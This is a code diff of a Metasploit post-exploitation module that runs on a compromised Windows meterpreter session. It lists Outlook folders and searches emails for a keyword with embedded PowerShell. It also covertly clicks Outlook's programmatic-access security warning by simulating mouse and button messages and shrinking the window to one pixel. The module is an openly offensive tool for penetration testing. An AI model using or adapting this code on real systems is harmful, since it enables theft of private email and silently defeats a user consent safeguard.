@@ -21,10 +21,11 @@ def initialize(info={})
21
21
} ,
22
22
'License' => MSF_LICENSE ,
23
23
'Author' => [ 'Wesley Neelen <security[at]forsec.nl>' ] ,
24
+ 'References' => [ 'URL' , 'https://forsec.nl/2014/11/reading-outlook-using-metasploit' ] ,
24
25
'Platform' => [ 'win' ] ,
25
- 'Arch' => [ 'x86' , 'x64' ] ,
26
+ 'Arch' => [ 'x86' , 'x64' ] ,
26
27
'SessionTypes' => [ 'meterpreter' ] ,
27
- 'Actions' => [
28
+ 'Actions' => [
28
29
[ 'LIST' , { 'Description' => 'Lists all folders' } ] ,
29
30
[ 'SEARCH' , { 'Description' => 'Searches for an email' } ]
30
31
] ,
@@ -77,30 +78,36 @@ def listBoxes
77
78
print_status ( "System has currently been idle for #{ currentidle } seconds" )
78
79
end
79
80
80
- def readEmails ( folder , keyword , searchobject , atrans , acftrans )
81
+ def readEmails ( folder , keyword , atrans , acftrans )
81
82
# This functions reads Outlook using powershell scripts
82
83
view = framework . threads . spawn ( "ButtonClicker" , false ) {
83
84
clickButton ( atrans , acftrans )
84
85
}
85
86
psh_script = %Q|
86
- function Get-Emails {
87
- param ([String]$searchTerm,[String]$Folder,[String]$searchObject)
88
- Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
89
- $Outlook = New-Object -ComObject Outlook.Application
90
- $Namespace = $Outlook.GetNameSpace("MAPI")
91
- $account = $NameSpace.Folders
92
- $count = 0
93
- foreach ($acc in $account) {
94
- $count = $count+1
87
+ function Get-Emails {
88
+ param ([String]$searchTerm,[String]$Folder)
89
+ Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
90
+ $Outlook = New-Object -ComObject Outlook.Application
91
+ $Namespace = $Outlook.GetNameSpace("MAPI")
92
+ $account = $NameSpace.Folders
93
+ $found = $false
94
+ foreach ($acc in $account) {
95
95
try {
96
- $Email = $NameSpace.Folders.Item($count).Folders.Item($Folder).Items
97
- $Email \| Where-Object {$_.$searchObject -like '*' + $searchTerm + '*'} \| Format-List To, SenderEmailAddress, CreationTime, TaskSubject, HTMLBody
98
- } catch {
99
- Write-Host "Folder not found in mailbox $count"
100
- }
101
- }
102
- }
103
- Get-Emails "#{ keyword } " "#{ folder } " "#{ searchobject } "
96
+ $Email = $acc.Folders.Item($Folder).Items
97
+ $result = $Email \| Where-Object {$_.HTMLBody -like '*' + $searchTerm + '*' -or $_.TaskSubject -like '*' + $searchTerm + '*'}
98
+ if($result) {
99
+ $found = $true
100
+ $result \| Format-List To, SenderEmailAddress, CreationTime, TaskSubject, HTMLBody
101
+ }
102
+ } catch {
103
+ Write-Host "Folder" $Folder "not found in mailbox" $acc.Name
104
+ }
105
+ }
106
+ if(-Not $found) {
107
+ Write-Host "Searchterm" $searchTerm "not found"
108
+ }
109
+ }
110
+ Get-Emails "#{ keyword } " "#{ folder } "
104
111
|
105
112
compressed_script = compress_script ( psh_script )
106
113
cmd_out , runnings_pids , open_channels = execute_script ( compressed_script , 120 )
@@ -113,22 +120,25 @@ def clickButton(atrans,acftrans)
113
120
# This functions clicks on the security notification generated by Outlook.
114
121
sleep 1
115
122
hwnd = client . railgun . user32 . FindWindowW ( nil , "Microsoft Outlook" )
116
- hwndChildCk = client . railgun . user32 . FindWindowExW ( hwnd [ 'return' ] , nil , "Button" , "&#{ acftrans } " )
117
- client . railgun . user32 . SendMessageW ( hwndChildCk [ 'return' ] , 0x00F1 , 1 , nil )
118
- client . railgun . user32 . MoveWindow ( hwnd [ 'return' ] , 150 , 150 , 1 , 1 , true )
119
- hwndChild = client . railgun . user32 . FindWindowExW ( hwnd [ 'return' ] , nil , "Button" , "#{ atrans } " )
120
- client . railgun . user32 . SetActiveWindow ( hwndChild [ 'return' ] )
121
- client . railgun . user32 . SetForegroundWindow ( hwndChild [ 'return' ] )
122
- client . railgun . user32 . SetCursorPos ( 150 , 150 )
123
- client . railgun . user32 . mouse_event ( 0x0002 , 150 , 150 , nil , nil )
124
- client . railgun . user32 . SendMessageW ( hwndChild [ 'return' ] , 0x00F5 , 0 , nil )
123
+ if hwnd != 0
124
+ hwndChildCk = client . railgun . user32 . FindWindowExW ( hwnd [ 'return' ] , nil , "Button" , "&#{ acftrans } " )
125
+ client . railgun . user32 . SendMessageW ( hwndChildCk [ 'return' ] , 0x00F1 , 1 , nil )
126
+ client . railgun . user32 . MoveWindow ( hwnd [ 'return' ] , 150 , 150 , 1 , 1 , true )
127
+ hwndChild = client . railgun . user32 . FindWindowExW ( hwnd [ 'return' ] , nil , "Button" , "#{ atrans } " )
128
+ client . railgun . user32 . SetActiveWindow ( hwndChild [ 'return' ] )
129
+ client . railgun . user32 . SetForegroundWindow ( hwndChild [ 'return' ] )
130
+ client . railgun . user32 . SetCursorPos ( 150 , 150 )
131
+ client . railgun . user32 . mouse_event ( 0x0002 , 150 , 150 , nil , nil )
132
+ client . railgun . user32 . SendMessageW ( hwndChild [ 'return' ] , 0x00F5 , 0 , nil )
133
+ else
134
+ print_error ( "Error while clicking on the Outlook security notification. Window could not be found" )
135
+ end
125
136
end
126
137
127
138
def run
128
139
# Main method
129
140
folder = datastore [ 'FOLDER' ]
130
141
keyword = datastore [ 'KEYWORD' ] . to_s
131
- object = "HTMLBody"
132
142
allow = datastore [ 'A_TRANSLATION' ]
133
143
allow_access_for = datastore [ 'ACF_TRANSLATION' ]
134
144
langNotSupported = true
@@ -148,8 +158,7 @@ def run
148
158
acftrans = allow_access_for
149
159
else
150
160
if langNotSupported == true
151
- print_error ( "System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)" )
152
- abort ( )
161
+ fail_with ( Failure ::Unknown , "System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)" )
153
162
end
154
163
end
155
164
@@ -161,37 +170,31 @@ def run
161
170
if outlookInstalled != 0
162
171
print_good "Outlook is installed"
163
172
else
164
- print_error "Outlook is not installed"
165
- abort ( )
173
+ fail_with ( Failure ::Unknown , "Outlook is not installed" )
166
174
end
167
175
end
168
176
169
177
# Powershell installed check
170
- powershellInstalled = registry_enumkeys ( "HKLM\\ SOFTWARE\\ Microsoft\\ " ) . include? ( "PowerShell" )
171
-
172
- if !powershellInstalled . nil?
173
- if powershellInstalled != 0
174
- print_good ( "Powershell is installed on this system." )
175
- else
176
- print_error ( "Powershell is not installed" )
177
- abort ( )
178
- end
178
+ if have_powershell?
179
+ print_good ( "Powershell is installed." )
180
+ else
181
+ fail_with ( Failure ::Unknown , "Powershell is not installed" )
179
182
end
180
183
181
184
# Check whether target system is locked
182
185
locked = client . railgun . user32 . GetForegroundWindow ( ) [ 'return' ]
183
186
if locked == 0
184
- print_error ( "Target system is locked. This post module cannot click on Outlooks security warning when the target system is locked" )
185
- abort ( )
187
+ fail_with ( Failure ::Unknown , "Target system is locked. This post module cannot click on Outlooks security warning when the target system is locked" )
186
188
end
187
189
188
- if action . name == "LIST"
190
+ case action . name
191
+ when 'LIST'
189
192
print_good ( 'Available folders in the mailbox: ' )
190
193
listBoxes ( )
191
- end
192
-
193
- if action . name == "SEARCH"
194
- readEmails ( folder , keyword , object , atrans , acftrans )
194
+ when 'SEARCH'
195
+ readEmails ( folder , keyword , atrans , acftrans )
196
+ else
197
+ print_error ( "Unknown Action: #{ action . name } " )
195
198
end
196
199
end
197
200
end
0 commit comments